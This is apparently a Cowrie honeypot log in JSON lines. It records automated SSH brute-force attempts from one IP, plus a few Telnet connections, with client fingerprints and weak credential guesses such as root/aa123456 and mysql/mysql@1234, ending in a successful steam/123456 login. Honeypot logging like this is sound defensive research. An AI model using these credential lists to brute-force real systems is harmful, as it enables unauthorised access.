{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:25.005311Z","src_ip":"192.109.200.237","session":"0476b2401086","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39172,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f595f238c87","protocol":"ssh","message":"New connection: 192.109.200.237:39172 (159.203.135.109:22) [session: 1f595f238c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:26.587919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:26.598068Z","src_ip":"192.109.200.237","session":"1f595f238c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:26.680803Z","src_ip":"192.109.200.237","session":"1f595f238c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:26.927944Z","src_ip":"192.109.200.237","session":"1f595f238c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:28.014647Z","src_ip":"192.109.200.237","session":"1f595f238c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39190,"dst_ip":"159.203.135.109","dst_port":22,"session":"666f4c161912","protocol":"ssh","message":"New connection: 192.109.200.237:39190 (159.203.135.109:22) [session: 666f4c161912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:29.722730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:29.727396Z","src_ip":"192.109.200.237","session":"666f4c161912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:29.809195Z","src_ip":"192.109.200.237","session":"666f4c161912","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:30.055335Z","src_ip":"192.109.200.237","session":"666f4c161912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:31.140802Z","src_ip":"192.109.200.237","session":"666f4c161912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60842,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d6a43579657","protocol":"ssh","message":"New connection: 192.109.200.237:60842 (159.203.135.109:22) [session: 1d6a43579657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:32.798015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:32.806204Z","src_ip":"192.109.200.237","session":"1d6a43579657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:32.888599Z","src_ip":"192.109.200.237","session":"1d6a43579657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:33.134956Z","src_ip":"192.109.200.237","session":"1d6a43579657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:34.308759Z","src_ip":"192.109.200.237","session":"1d6a43579657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":8160,"dst_ip":"10.17.0.5","dst_port":23,"session":"f619f3275085","protocol":"telnet","message":"New connection: 34.34.140.227:8160 (10.17.0.5:23) [session: f619f3275085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:35.665733Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":8166,"dst_ip":"10.17.0.5","dst_port":23,"session":"be9c907ec4ed","protocol":"telnet","message":"New connection: 34.34.140.227:8166 (10.17.0.5:23) [session: be9c907ec4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:35.819983Z"}
{"eventid":"cowrie.session.closed","duration":0.005119800567626953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:35.824971Z","src_ip":"34.34.140.227","session":"be9c907ec4ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60858,"dst_ip":"159.203.135.109","dst_port":22,"session":"8edbfef11d4a","protocol":"ssh","message":"New connection: 192.109.200.237:60858 (159.203.135.109:22) [session: 8edbfef11d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:35.965781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:35.970505Z","src_ip":"192.109.200.237","session":"8edbfef11d4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.140.227","src_port":8182,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f1c6bd3448a","protocol":"telnet","message":"New connection: 34.34.140.227:8182 (10.17.0.5:23) [session: 4f1c6bd3448a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:35.975242Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:36.052774Z","src_ip":"192.109.200.237","session":"8edbfef11d4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:36.298795Z","src_ip":"192.109.200.237","session":"8edbfef11d4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:37.383825Z","src_ip":"192.109.200.237","session":"8edbfef11d4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60860,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4fca837c416","protocol":"ssh","message":"New connection: 192.109.200.237:60860 (159.203.135.109:22) [session: b4fca837c416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:39.144821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:39.149972Z","src_ip":"192.109.200.237","session":"b4fca837c416","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:39.231926Z","src_ip":"192.109.200.237","session":"b4fca837c416","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:39.476830Z","src_ip":"192.109.200.237","session":"b4fca837c416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:40.564818Z","src_ip":"192.109.200.237","session":"b4fca837c416","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48440,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c4dd707a969","protocol":"ssh","message":"New connection: 192.109.200.237:48440 (159.203.135.109:22) [session: 4c4dd707a969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:42.199860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:42.204938Z","src_ip":"192.109.200.237","session":"4c4dd707a969","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:42.287080Z","src_ip":"192.109.200.237","session":"4c4dd707a969","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:42.531903Z","src_ip":"192.109.200.237","session":"4c4dd707a969","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:43.617374Z","src_ip":"192.109.200.237","session":"4c4dd707a969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48456,"dst_ip":"159.203.135.109","dst_port":22,"session":"87ecd536a6c4","protocol":"ssh","message":"New connection: 192.109.200.237:48456 (159.203.135.109:22) [session: 87ecd536a6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:45.260601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:45.265585Z","src_ip":"192.109.200.237","session":"87ecd536a6c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:45.351736Z","src_ip":"192.109.200.237","session":"87ecd536a6c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:45.720050Z","src_ip":"192.109.200.237","session":"87ecd536a6c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:46.807457Z","src_ip":"192.109.200.237","session":"87ecd536a6c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48468,"dst_ip":"159.203.135.109","dst_port":22,"session":"62a2160e1738","protocol":"ssh","message":"New connection: 192.109.200.237:48468 (159.203.135.109:22) [session: 62a2160e1738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:48.477081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:48.482602Z","src_ip":"192.109.200.237","session":"62a2160e1738","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:48.565035Z","src_ip":"192.109.200.237","session":"62a2160e1738","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:48.812772Z","src_ip":"192.109.200.237","session":"62a2160e1738","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:49.026326Z","src_ip":"192.109.200.237","session":"62a2160e1738","protocol":"ssh"}
